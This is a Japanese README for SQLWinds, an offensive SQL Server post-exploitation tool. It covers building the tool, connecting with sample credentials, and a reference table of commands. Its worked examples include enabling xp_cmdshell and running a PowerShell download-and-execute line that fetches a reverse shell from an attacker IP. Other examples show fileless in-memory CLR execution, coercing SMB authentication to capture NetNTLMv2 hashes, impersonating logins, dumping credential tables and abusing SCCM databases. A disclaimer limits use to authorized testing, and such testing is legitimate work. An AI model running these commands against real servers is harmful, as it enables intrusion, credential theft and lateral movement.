
SQLWinds - SQL Server セキュリティ評価 & ポストエクスプロイテーションツールキット
SQLセキュリティ評価&ポストエクスプロイテーションツールキット
SQLWinds は、Microsoft SQL Server のセキュリティテストと悪用のためのコマンドラインツールです。サーバーの詳細な分析、権限昇格、攻撃の実行、ネットワークを介したピボットを実現する対話型環境を提供し、インメモリコード実行や SCCM データベース探索などのタスクに特化したコマンドを備えています。
クイックリンク:
--integrated)、Kerberos 委任 (--user/--pass を指定した --kerberos) に対応。xp_cmdshell、OLE Automation Procedures (sp_oacreate)、CLR 統合を有効化して使用。:memclr)。:unc_smb)。xp_regread を使用してレジストリのキーと値を読み取り。リポジトリには、Windows での簡単なコンパイルのための build.bat スクリプトが含まれています。
.\build.bat
コンパイルされた SQLWinds.exe 実行ファイルは bin\Release\ ディレクトリに配置されます。
git clone https://github.com/blue0x1/sqlwinds.git
cd sqlwinds
msbuild SQLWinds.sln /p:Configuration=Release
# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123
# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated
# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!
# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"
sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help
:plain を使用する:plain コマンドは、大きな複数行の SQL スクリプトを実行するために不可欠です。
sqlwinds> :plain
SQL>
SQL> BEGIN TRY
.....> SELECT * FROM [VeryImportantTable];
.....> EXEC sp_configure 'show advanced options', 1;
.....> RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....> SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute
:plain と入力して Enter を押します。:execute と入力するとスクリプト全体が実行され、:cancel と入力すると中断されます。1. 監査
SQLWinds.exe --server dc01 --integrated --security-audit
2. xp_cmdshell を利用したコード実行
SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"
3. インメモリ CLR 実行 (ファイルレス)
# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"
4. SRelay による NetNTLMv2 ハッシュの窃取
# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share
5. SCCM データベースの悪用
SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"
6. データの外部送信
# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv
# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx
コントリビューションを歓迎します!改善のアイデアや問題を見つけた場合は、次の手順に従ってください:
このツールは、許可されたセキュリティテストおよび教育目的のみを意図しています。所有していない、または明示的なテスト許可を得ていないシステムへの不正使用は違法です。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。
blue0x1 によって開発されました。
| オプション | 説明 |
|---|
--server | 対象サーバー (IP、ホスト名、インスタンス)。必須。 |
--user, --pass | SQL または Windows 認証の資格情報。 |
--integrated | 認証に現在の Windows トークンを使用します。 |
--kerberos | Kerberos 認証フローを使用します。 |
--spn-check | 対象ホストの SPN を AD で確認します。 |
--run-cmd "<SQL>" | 単一の SQL コマンドを実行して終了します。 |
--run-file file.sql | ファイルから SQL スクリプトを実行して終了します。 |
--info | 広範なサーバー情報を収集して表示します。 |
--getinstance | ドメイン内の SQL インスタンスを検出して終了します。 |
--list-dbs | データベースを一覧表示して終了します。 |
--security-audit | セキュリティ監査を実行して終了します。 |
| コマンド | 説明 | 例 |
|---|
:info | 詳細なサーバー情報を表示 | :info |
:dbs | すべてのデータベースを詳細付きで一覧表示 | :dbs |
:tables [db] [schema] | データベース/スキーマ内のテーブルを一覧表示 | :tables master dbo |
:columns <table> [schema] [db] | テーブルの列を一覧表示 | :columns Users dbo MyDatabase |
:users | すべての SQL ログインとデータベースユーザーを一覧表示 | :users |
:perms | 現在のユーザー権限を表示 | :perms |
:audit | セキュリティ構成監査を実行 | :audit |
:search [term] | 機密データを検索 | :search password |
:secrets | 潜在的なシークレットを抽出 | :secrets |
:services | SQL Server サービスのアカウントを表示 | :services |
:spn | 対象ホストの SPN を確認 | :spn |
:enable_xp_cmdshell | xp_cmdshell を有効化 | :enable_xp_cmdshell |
:disable_xp_cmdshell | xp_cmdshell を無効化 | :disable_xp_cmdshell |
:xp <command> | xp_cmdshell 経由で OS コマンドを実行 | :xp whoami |
:enable_ole | OLE Automation を有効化 | :enable_ole |
:disable_ole | OLE Automation を無効化 | :disable_ole |
:ole_cmd <command> | OLE 経由で OS コマンドを実行 | :ole_cmd "calc.exe" |
:enable_clr | CLR 統合を有効化 | :enable_clr |
:disable_clr | CLR 統合を無効化 | :disable_clr |
:deploy-clr <path> | ファイルから CLR アセンブリを配置 | :deploy-clr C:\Tools\cmd.dll |
:list-assemblies | 配置された CLR アセンブリを一覧表示 | :list-assemblies |
:clr_exec | CLR メソッドを実行 | :clr_exec MyAssembly MyClass Method arg1 |
:memclr | CLR アセンブリをメモリから実行 | :memclr "C:\Tools\exec.dll" "Namespace.Class" "Method" "arg" |
:remove-assembly <name> | CLR アセンブリを削除 | :remove-assembly MyAssembly |
:list_linkservers | リンクサーバーを一覧表示 | :list_linkservers |
:linkrpc <srv> <cmd> | リンクサーバー経由でコマンドを実行 | :linkrpc LINKEDSRV "whoami" |
:impersonate <login> | SQL ログインを偽装 | :impersonate sa |
:revert | セキュリティコンテキストを元に戻す | :revert |
:agent_job | SQL エージェントジョブを管理 | :agent_job create MyJob "whoami" |
:ls [path] | SQL 経由でディレクトリを一覧表示 | :ls C:\Windows\Temp |
:unc_smb <path> | UNC への SMB 認証を強制 | :unc_smb \\192.168.1.100\share |
:plain | 大きな SQL スクリプトを貼り付け | (下記の例を参照) |
:regread | レジストリ値を読み取り | :regread HKEY_LOCAL_MACHINE Software\Microsoft value |
:regread_all | キー内のすべての値を一覧表示 | :regread_all HKEY_LOCAL_MACHINE Software\Microsoft |
:upload | ファイルをテーブルにアップロード | :upload C:\file.txt MyTable |
:download | クエリからバイナリをダウンロード | :download "SELECT file FROM blobs" out.bin |
:exportcsv | クエリを CSV にエクスポート | :exportcsv "SELECT * FROM users" out.csv |
:exportjson | クエリを JSON にエクスポート | :exportjson "SELECT * FROM users" out.json |
:sccm_info | SCCM データベースを検出 | :sccm_info |
:sccm_inventory | SCCM インベントリを表示 | :sccm_inventory |
:sccm_collections | SCCM コレクションを一覧表示 | :sccm_collections "All Systems" |
:sccm_deployments | 展開を表示 | :sccm_deployments |
:sccm_clients | クライアントを一覧表示 | :sccm_clients inactive |
:sccm_audit | SCCM セキュリティ監査 | :sccm_audit |
:sccm_application | アプリの詳細を表示 | :sccm_application "Google Chrome" |
help | ヘルプを表示 | help |
exit | REPL を終了 | exit |